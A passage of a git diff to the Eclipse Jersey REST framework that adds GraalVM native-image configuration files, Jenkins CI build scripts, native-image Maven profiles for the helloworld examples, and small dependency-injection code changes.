+ "name":"org.glassfish.jersey.server.ServerExecutorProvidersConfigurator$DefaultBackgroundSchedulerProvider",
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"org.glassfish.jersey.server.ServerExecutorProvidersConfigurator$DefaultManagedAsyncExecutorProvider",
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"org.glassfish.jersey.server.filter.internal.ServerFiltersAutoDiscoverable",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.server.internal.JsonWithPaddingInterceptor",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.server.internal.MappableExceptionWrapperInterceptor",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.server.internal.monitoring.MonitoringAutodiscoverable",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.server.internal.monitoring.MonitoringContainerListener",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.server.internal.process.RequestProcessingContextReference",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.server.model.Parameter$ServerParameterService",
+ "methods":[{"name":"<init>","parameterTypes":[] }]
+ },
+ {
+ "name":"org.glassfish.jersey.server.wadl.WadlFeature",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allPublicMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.server.wadl.internal.WadlAutoDiscoverable",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.server.wadl.processor.OptionsMethodProcessor$GenericOptionsInflector",
+ "allPublicMethods":true,
+ "allPublicConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.server.wadl.processor.OptionsMethodProcessor$PlainTextOptionsInflector",
+ "allPublicMethods":true,
+ "allPublicConstructors":true
+ }
+]
\ No newline at end of file
diff --git a/core-server/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-server/resource-config.json b/core-server/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-server/resource-config.json
new file mode 100644
index 0000000..6615ca3
--- /dev/null
+++ b/core-server/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-server/resource-config.json
@@ -0,0 +1,5 @@
+{
+ "bundles": [
+ {"name":"org.glassfish.jersey.server.internal.localization"}
+ ]
+}
\ No newline at end of file
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java
index f0d860a..5cd8568 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java
@@ -285,7 +285,7 @@
public void testDateParamConverterIsChosenForDateString() {
initiateWebApplication();
final ParamConverter<Date> converter =
- new ParamConverters.AggregatedProvider().getConverter(Date.class, Date.class, null);
+ new ParamConverters.AggregatedProvider(null).getConverter(Date.class, Date.class, null);
assertEquals("Unexpected date converter provider class",
ParamConverters.DateProvider.class, converter.getClass().getEnclosingClass());
diff --git a/etc/jenkins/Jenkinsfile_ci_build b/etc/jenkins/Jenkinsfile_ci_build
new file mode 100644
index 0000000..7c3f9ff
--- /dev/null
+++ b/etc/jenkins/Jenkinsfile_ci_build
@@ -0,0 +1,52 @@
+pipeline {
+ agent none
+
+ stages {
+ stage('Jersey build') {
+ parallel {
+ stage('JDK 8 ') {
+ agent {
+ label 'centos-7'
+ }
+ tools {
+ jdk 'oracle-jdk8-latest'
+ maven 'apache-maven-latest'
+ }
+ steps {
+ sh '''
+ bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh
+ '''
+ }
+ }
+ stage('JDK 11 ') {
+ agent {
+ label 'centos-7'
+ }
+ tools {
+ jdk 'openjdk-jdk11-latest'
+ maven 'apache-maven-latest'
+ }
+ steps {
+ sh '''
+ bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh
+ '''
+ }
+ }
+ stage('JDK 16 ') {
+ agent {
+ label 'centos-7'
+ }
+ tools {
+ jdk 'openjdk-jdk16-latest'
+ maven 'apache-maven-latest'
+ }
+ steps {
+ sh '''
+ bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh
+ '''
+ }
+ }
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/etc/jenkins/jenkins_build.sh b/etc/jenkins/jenkins_build.sh
new file mode 100644
index 0000000..afa8b15
--- /dev/null
+++ b/etc/jenkins/jenkins_build.sh
@@ -0,0 +1,5 @@
+#!/bin/bash -xe
+
+export DEBUG=true
+
+mvn -V -U -B -e clean install glassfish-copyright:check -Dcopyright.quiet=false -Dsurefire.systemPropertiesFile=${WORKSPACE}/etc/jenkins/systemPropertiesFile
\ No newline at end of file
diff --git a/etc/jenkins/systemPropertiesFile b/etc/jenkins/systemPropertiesFile
new file mode 100644
index 0000000..fcdaaab
--- /dev/null
+++ b/etc/jenkins/systemPropertiesFile
@@ -0,0 +1 @@
+jersey.config.server.monitoring.collision.buffer.power=3
\ No newline at end of file
diff --git a/examples/groovy/pom.xml b/examples/groovy/pom.xml
index 5ead173..93b3cce 100644
--- a/examples/groovy/pom.xml
+++ b/examples/groovy/pom.xml
@@ -28,7 +28,7 @@
<groupId>org.apache.groovy</groupId>
<artifactId>groovy-all</artifactId>
<type>pom</type>
- <version>4.0.0-alpha-2</version>
+ <version>4.0.0-alpha-3</version>
</dependency>
<dependency>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
diff --git a/examples/helloworld-cdi2-se/src/main/java/org/glassfish/jersey/examples/helloworld/cdi2se/App.java b/examples/helloworld-cdi2-se/src/main/java/org/glassfish/jersey/examples/helloworld/cdi2se/App.java
index 5608a6d..3ad314e 100644
--- a/examples/helloworld-cdi2-se/src/main/java/org/glassfish/jersey/examples/helloworld/cdi2se/App.java
+++ b/examples/helloworld-cdi2-se/src/main/java/org/glassfish/jersey/examples/helloworld/cdi2se/App.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2017, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -40,7 +40,7 @@
server.start();
System.out.println("Application started.\nTry out");
- System.out.println(String.format("%s%s%s", BASE_URI, ROOT_HELLO_PATH, "/Some%Name"));
+ System.out.println(String.format("%s%s%s", BASE_URI, ROOT_HELLO_PATH, "/Some%20Name"));
System.out.println(String.format("%s%s%s", BASE_URI, ROOT_COUNTER_PATH, "/request"));
System.out.println(String.format("%s%s%s", BASE_URI, ROOT_COUNTER_PATH, "/application"));
System.out.println("Stop the application using CTRL+C");
diff --git a/examples/helloworld-programmatic/pom.xml b/examples/helloworld-programmatic/pom.xml
index a38e432..03dd6fd 100644
--- a/examples/helloworld-programmatic/pom.xml
+++ b/examples/helloworld-programmatic/pom.xml
@@ -67,6 +67,51 @@
</plugins>
</build>
</profile>
+ <profile>
+ <id>native-image</id>
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>org.graalvm.nativeimage</groupId>
+ <artifactId>native-image-maven-plugin</artifactId>
+ <version>${graalvm.version}</version>
+ <executions>
+ <execution>
+ <goals>
+ <goal>native-image</goal>
+ </goals>
+ <phase>package</phase>
+ </execution>
+ </executions>
+ <configuration>
+ <imageName>${project.artifactId}-native</imageName>
+ <mainClass>org.glassfish.jersey.examples.helloworld.App</mainClass>
+ </configuration>
+ </plugin>
+ </plugins>
+ </build>
+ <dependencies>
+
+ <dependency>
+ <groupId>jakarta.activation</groupId>
+ <artifactId>jakarta.activation-api</artifactId>
+ <version>${jakarta.activation.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>jakarta.xml.bind</groupId>
+ <artifactId>jakarta.xml.bind-api</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.hk2</groupId>
+ <artifactId>hk2-locator</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.osgi</groupId>
+ <artifactId>org.osgi.framework</artifactId>
+ <version>${osgi.framework.version}</version>
+ </dependency>
+ </dependencies>
+ </profile>
</profiles>
</project>
diff --git a/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/jni-config.json b/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/jni-config.json
new file mode 100644
index 0000000..9127dd4
--- /dev/null
+++ b/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/jni-config.json
@@ -0,0 +1,9 @@
+[
+ {
+ "name":"java.lang.ClassLoader",
+ "methods":[{"name":"getPlatformClassLoader","parameterTypes":[] }]
+ },
+ {
+ "name":"java.lang.NoSuchMethodError"
+ }
+]
diff --git a/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/native-image.properties b/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/native-image.properties
new file mode 100644
index 0000000..6d2c053
--- /dev/null
+++ b/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/native-image.properties
@@ -0,0 +1,16 @@
+#
+# Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Distribution License v. 1.0, which is available at
+# http://www.eclipse.org/org/documents/edl-v10.php.
+#
+# SPDX-License-Identifier: BSD-3-Clause
+#
+
+Args=-H:EnableURLProtocols=http,https \
+ --initialize-at-build-time=org.glassfish.jersey.client.internal.HttpUrlConnector \
+ -H:+ReportExceptionStackTraces \
+ --verbose \
+ --no-fallback \
+ --report-unsupported-elements-at-runtime
\ No newline at end of file
diff --git a/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/reflect-config.json b/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/reflect-config.json
new file mode 100644
index 0000000..7283a4a
--- /dev/null
+++ b/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/reflect-config.json
@@ -0,0 +1,44 @@
+[
+ {
+ "name":"java.awt.image.RenderedImage"
+ },
+ {
+ "name":"jakarta.activation.DataSource"
+ },
+ {
+ "name":"jakarta.inject.Singleton",
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"jakarta.ws.rs.core.Application",
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"jakarta.ws.rs.core.Feature",
+ "methods":[{"name":"configure","parameterTypes":["jakarta.ws.rs.core.FeatureContext"] }]
+ },
+ {
+ "name":"javax.xml.transform.Source"
+ },
+ {
+ "name":"javax.xml.transform.dom.DOMSource"
+ },
+ {
+ "name":"javax.xml.transform.sax.SAXSource"
+ },
+ {
+ "name":"javax.xml.transform.stream.StreamSource"
+ },
+ {
+ "name":"org.glassfish.jersey.examples.helloworld.App$2",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allPublicMethods":true
+ },
+ {
+ "name":"org.glassfish.jersey.examples.helloworld.App$3",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allPublicMethods":true
+ }
+]
\ No newline at end of file
diff --git a/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/resource-config.json b/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/resource-config.json
new file mode 100644
index 0000000..5129ea6
--- /dev/null
+++ b/examples/helloworld-programmatic/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-programmatic/resource-config.json
@@ -0,0 +1,8 @@
+{
+ "resources": [
+ {"pattern": "org/glassfish/grizzly/version.properties"}
+ ],
+ "bundles": [
+ {"name":"jakarta.xml.bind.Messages"}
+ ]
+}
\ No newline at end of file
diff --git a/examples/helloworld-pure-jax-rs/pom.xml b/examples/helloworld-pure-jax-rs/pom.xml
index 8da97d8..42933b9 100644
--- a/examples/helloworld-pure-jax-rs/pom.xml
+++ b/examples/helloworld-pure-jax-rs/pom.xml
@@ -70,6 +70,51 @@
</plugins>
</build>
</profile>
+ <profile>
+ <id>native-image</id>
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>org.graalvm.nativeimage</groupId>
+ <artifactId>native-image-maven-plugin</artifactId>
+ <version>${graalvm.version}</version>
+ <executions>
+ <execution>
+ <goals>
+ <goal>native-image</goal>
+ </goals>
+ <phase>package</phase>
+ </execution>
+ </executions>
+ <configuration>
+ <imageName>${project.artifactId}-native</imageName>
+ <mainClass>org.glassfish.jersey.examples.helloworld.jaxrs.App</mainClass>
+ </configuration>
+ </plugin>
+ </plugins>
+ </build>
+ <dependencies>
+
+ <dependency>
+ <groupId>jakarta.activation</groupId>
+ <artifactId>jakarta.activation-api</artifactId>
+ <version>${jakarta.activation.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>jakarta.xml.bind</groupId>
+ <artifactId>jakarta.xml.bind-api</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.hk2</groupId>
+ <artifactId>hk2-locator</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.osgi</groupId>
+ <artifactId>org.osgi.framework</artifactId>
+ <version>${osgi.framework.version}</version>
+ </dependency>
+ </dependencies>
+ </profile>
</profiles>
</project>
diff --git a/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/jni-config.json b/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/jni-config.json
new file mode 100644
index 0000000..9127dd4
--- /dev/null
+++ b/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/jni-config.json
@@ -0,0 +1,9 @@
+[
+ {
+ "name":"java.lang.ClassLoader",
+ "methods":[{"name":"getPlatformClassLoader","parameterTypes":[] }]
+ },
+ {
+ "name":"java.lang.NoSuchMethodError"
+ }
+]
diff --git a/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/native-image.properties b/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/native-image.properties
new file mode 100644
index 0000000..6d2c053
--- /dev/null
+++ b/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/native-image.properties
@@ -0,0 +1,16 @@
+#
+# Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Distribution License v. 1.0, which is available at
+# http://www.eclipse.org/org/documents/edl-v10.php.
+#
+# SPDX-License-Identifier: BSD-3-Clause
+#
+
+Args=-H:EnableURLProtocols=http,https \
+ --initialize-at-build-time=org.glassfish.jersey.client.internal.HttpUrlConnector \
+ -H:+ReportExceptionStackTraces \
+ --verbose \
+ --no-fallback \
+ --report-unsupported-elements-at-runtime
\ No newline at end of file
diff --git a/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/reflect-config.json b/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/reflect-config.json
new file mode 100644
index 0000000..85fad85
--- /dev/null
+++ b/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/reflect-config.json
@@ -0,0 +1,40 @@
+[
+ {
+ "name":"java.awt.image.RenderedImage"
+ },
+ {
+ "name":"jakarta.activation.DataSource"
+ },
+ {
+ "name":"jakarta.inject.Singleton",
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"jakarta.ws.rs.core.Application",
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"jakarta.ws.rs.core.Feature",
+ "methods":[{"name":"configure","parameterTypes":["jakarta.ws.rs.core.FeatureContext"] }]
+ },
+ {
+ "name":"javax.xml.transform.Source"
+ },
+ {
+ "name":"javax.xml.transform.dom.DOMSource"
+ },
+ {
+ "name":"javax.xml.transform.sax.SAXSource"
+ },
+ {
+ "name":"javax.xml.transform.stream.StreamSource"
+ },
+ {
+ "name":"org.glassfish.jersey.examples.helloworld.jaxrs.HelloWorldResource",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allPublicMethods":true,
+ "allDeclaredConstructors":true,
+ "allPublicConstructors":true
+ }
+]
\ No newline at end of file
diff --git a/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/resource-config.json b/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/resource-config.json
new file mode 100644
index 0000000..5129ea6
--- /dev/null
+++ b/examples/helloworld-pure-jax-rs/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld-pure-jax-rs/resource-config.json
@@ -0,0 +1,8 @@
+{
+ "resources": [
+ {"pattern": "org/glassfish/grizzly/version.properties"}
+ ],
+ "bundles": [
+ {"name":"jakarta.xml.bind.Messages"}
+ ]
+}
\ No newline at end of file
diff --git a/examples/helloworld/pom.xml b/examples/helloworld/pom.xml
index 2949168..1fa02a0 100644
--- a/examples/helloworld/pom.xml
+++ b/examples/helloworld/pom.xml
@@ -26,6 +26,10 @@
<description>Jersey annotated resource class "Hello world" example.</description>
+ <properties>
+<!-- <graalvm.version>21.1.0</graalvm.version>-->
+ </properties>
+
<dependencies>
<dependency>
<groupId>org.glassfish.jersey.containers</groupId>
@@ -76,6 +80,49 @@
</plugins>
</build>
</profile>
+ <profile>
+ <id>native-image</id>
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>org.graalvm.nativeimage</groupId>
+ <artifactId>native-image-maven-plugin</artifactId>
+ <version>${graalvm.version}</version>
+ <executions>
+ <execution>
+ <goals>
+ <goal>native-image</goal>
+ </goals>
+ <phase>package</phase>
+ </execution>
+ </executions>
+ <configuration>
+ <imageName>${project.artifactId}-native</imageName>
+ <mainClass>org.glassfish.jersey.examples.helloworld.App</mainClass>
+ </configuration>
+ </plugin>
+ </plugins>
+ </build>
+ <dependencies>
+ <dependency>
+ <groupId>jakarta.activation</groupId>
+ <artifactId>jakarta.activation-api</artifactId>
+ <version>${jakarta.activation.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>jakarta.xml.bind</groupId>
+ <artifactId>jakarta.xml.bind-api</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.osgi</groupId>
+ <artifactId>org.osgi.framework</artifactId>
+ <version>${osgi.framework.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.hk2</groupId>
+ <artifactId>hk2-locator</artifactId>
+ </dependency>
+ </dependencies>
+ </profile>
</profiles>
-
</project>
diff --git a/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/jni-config.json b/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/jni-config.json
new file mode 100644
index 0000000..9127dd4
--- /dev/null
+++ b/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/jni-config.json
@@ -0,0 +1,9 @@
+[
+ {
+ "name":"java.lang.ClassLoader",
+ "methods":[{"name":"getPlatformClassLoader","parameterTypes":[] }]
+ },
+ {
+ "name":"java.lang.NoSuchMethodError"
+ }
+]
diff --git a/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/native-image.properties b/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/native-image.properties
new file mode 100644
index 0000000..6d2c053
--- /dev/null
+++ b/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/native-image.properties
@@ -0,0 +1,16 @@
+#
+# Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Distribution License v. 1.0, which is available at
+# http://www.eclipse.org/org/documents/edl-v10.php.
+#
+# SPDX-License-Identifier: BSD-3-Clause
+#
+
+Args=-H:EnableURLProtocols=http,https \
+ --initialize-at-build-time=org.glassfish.jersey.client.internal.HttpUrlConnector \
+ -H:+ReportExceptionStackTraces \
+ --verbose \
+ --no-fallback \
+ --report-unsupported-elements-at-runtime
\ No newline at end of file
diff --git a/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/reflect-config.json b/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/reflect-config.json
new file mode 100644
index 0000000..0402485
--- /dev/null
+++ b/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/reflect-config.json
@@ -0,0 +1,40 @@
+[
+ {
+ "name":"java.awt.image.RenderedImage"
+ },
+ {
+ "name":"jakarta.activation.DataSource"
+ },
+ {
+ "name":"jakarta.inject.Singleton",
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"jakarta.ws.rs.core.Application",
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"jakarta.ws.rs.core.Feature",
+ "methods":[{"name":"configure","parameterTypes":["jakarta.ws.rs.core.FeatureContext"] }]
+ },
+ {
+ "name":"javax.xml.transform.Source"
+ },
+ {
+ "name":"javax.xml.transform.dom.DOMSource"
+ },
+ {
+ "name":"javax.xml.transform.sax.SAXSource"
+ },
+ {
+ "name":"javax.xml.transform.stream.StreamSource"
+ },
+ {
+ "name":"org.glassfish.jersey.examples.helloworld.HelloWorldResource",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allPublicMethods":true,
+ "allDeclaredConstructors":true,
+ "allPublicConstructors":true
+ }
+]
\ No newline at end of file
diff --git a/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/resource-config.json b/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/resource-config.json
new file mode 100644
index 0000000..5129ea6
--- /dev/null
+++ b/examples/helloworld/src/main/resources/META-INF/native-image/org.glassfish.jersey.examples/helloworld/resource-config.json
@@ -0,0 +1,8 @@
+{
+ "resources": [
+ {"pattern": "org/glassfish/grizzly/version.properties"}
+ ],
+ "bundles": [
+ {"name":"jakarta.xml.bind.Messages"}
+ ]
+}
\ No newline at end of file
diff --git a/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/AbstractCdiBeanSupplier.java b/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/AbstractCdiBeanSupplier.java
index 28403be..c15658e 100644
--- a/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/AbstractCdiBeanSupplier.java
+++ b/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/AbstractCdiBeanSupplier.java
@@ -85,7 +85,7 @@
@Override
public T getInstance(final Class<T> clazz) {
final CreationalContext<T> creationalContext = beanManager.createCreationalContext(null);
- final T instance = injectionTarget.produce(creationalContext);
+ final T instance = produce(injectionTarget, creationalContext, injectionManager, clazz);
final CdiComponentProvider cdiComponentProvider = beanManager.getExtension(CdiComponentProvider.class);
final CdiComponentProvider.InjectionManagerInjectedCdiTarget hk2managedTarget =
cdiComponentProvider.new InjectionManagerInjectedCdiTarget(injectionTarget) {
@@ -107,6 +107,18 @@
};
}
+ /*
+ * Let CDI produce the InjectionTarget. If the constructor contains @Context Args CDI won't be able to produce it.
+ * Let the HK2 try to produce the target then.
+ */
+ private static <T> T produce(InjectionTarget<T> target, CreationalContext<T> ctx, InjectionManager im, Class<T> clazz) {
+ try {
+ return target.produce(ctx);
+ } catch (Exception e) {
+ return im.create(clazz);
+ }
+ }
+
@SuppressWarnings(value = "unchecked")
/* package */ T _provide() {
final T instance = referenceProvider.getInstance(clazz);
diff --git a/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java b/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
index 4128501..1160ef6 100644
--- a/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
+++ b/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
@@ -41,8 +41,11 @@
import java.util.logging.Level;
import java.util.logging.Logger;
+import jakarta.enterprise.inject.spi.BeanManager;
+import jakarta.enterprise.inject.spi.BeforeBeanDiscovery;
+import jakarta.inject.Singleton;
import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
+
import jakarta.annotation.ManagedBean;
import jakarta.annotation.Priority;
@@ -324,6 +327,9 @@
if (priority > ContractProvider.NO_PRIORITY) {
builder.ranked(priority);
}
+ if (clazz.isAnnotationPresent(Singleton.class) && beanScopeAnnotation == null) {
+ builder.in(Singleton.class);
+ }
injectionManager.register(builder);
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManager.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManager.java
index db9052c..61fc256 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManager.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManager.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -116,6 +116,23 @@
}
@Override
+ public <T> T create(Class<T> createMe) {
+ if (isInitialized()) {
+ Unmanaged.UnmanagedInstance<T> unmanaged = new Unmanaged<>(createMe).newInstance();
+ return unmanaged.produce().get();
+ } else {
+ // TODO: method is invoked before #completeRegistration - creates AutoDiscoverable, ForcedAutoDiscoverable.
+ // Hack: creates an object with default constructor and without an injection.
+ try {
+ Constructor<T> constructor = createMe.getConstructor();
+ return constructor.newInstance();
+ } catch (NoSuchMethodException | IllegalAccessException | InstantiationException | InvocationTargetException e) {
+ throw new RuntimeException("Cannot create an instance of a class: " + createMe, e);
+ }
+ }
+ }
+
+ @Override
@SuppressWarnings("unchecked")
public <T> List<ServiceHolder<T>> getAllServiceHolders(Class<T> contractOrImpl, Annotation... qualifiers) {
List<ServiceHolder<T>> result = new ArrayList<>();
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractHk2InjectionManager.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractHk2InjectionManager.java
index 543f662..5a71084 100644
--- a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractHk2InjectionManager.java
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/AbstractHk2InjectionManager.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -185,6 +185,11 @@
}
@Override
+ public <U> U create(Class<U> clazz) {
+ return getServiceLocator().create(clazz);
+ }
+
+ @Override
public <U> U createAndInitialize(Class<U> clazz) {
return getServiceLocator().createAndInitialize(clazz);
}
diff --git a/inject/hk2/src/main/resources/META-INF/native-image/org.glassfish.jersey.inject/jersey-hk2/reflect-config.json b/inject/hk2/src/main/resources/META-INF/native-image/org.glassfish.jersey.inject/jersey-hk2/reflect-config.json
new file mode 100644
index 0000000..cb8c35b
--- /dev/null
+++ b/inject/hk2/src/main/resources/META-INF/native-image/org.glassfish.jersey.inject/jersey-hk2/reflect-config.json
@@ -0,0 +1,68 @@
+[
+ {
+ "name": "org.glassfish.hk2.internal.PerThreadContext",
+ "allDeclaredFields": true,
+ "allDeclaredMethods": true,
+ "allDeclaredConstructors": true
+ },
+ {
+ "name": "org.glassfish.hk2.osgiresourcelocator.ServiceLoader",
+ "methods": [{ "name":"lookupProviderClasses", "parameterTypes":["java.lang.Class"] }]
+ },
+ {
+ "name":"org.glassfish.jersey.inject.hk2.ContextInjectionResolverImpl",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.inject.hk2.Hk2InjectionManagerFactory",
+ "methods":[{"name":"<init>","parameterTypes":[] }]
+ },
+ {
+ "name":"org.glassfish.jersey.inject.hk2.Hk2RequestScope",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
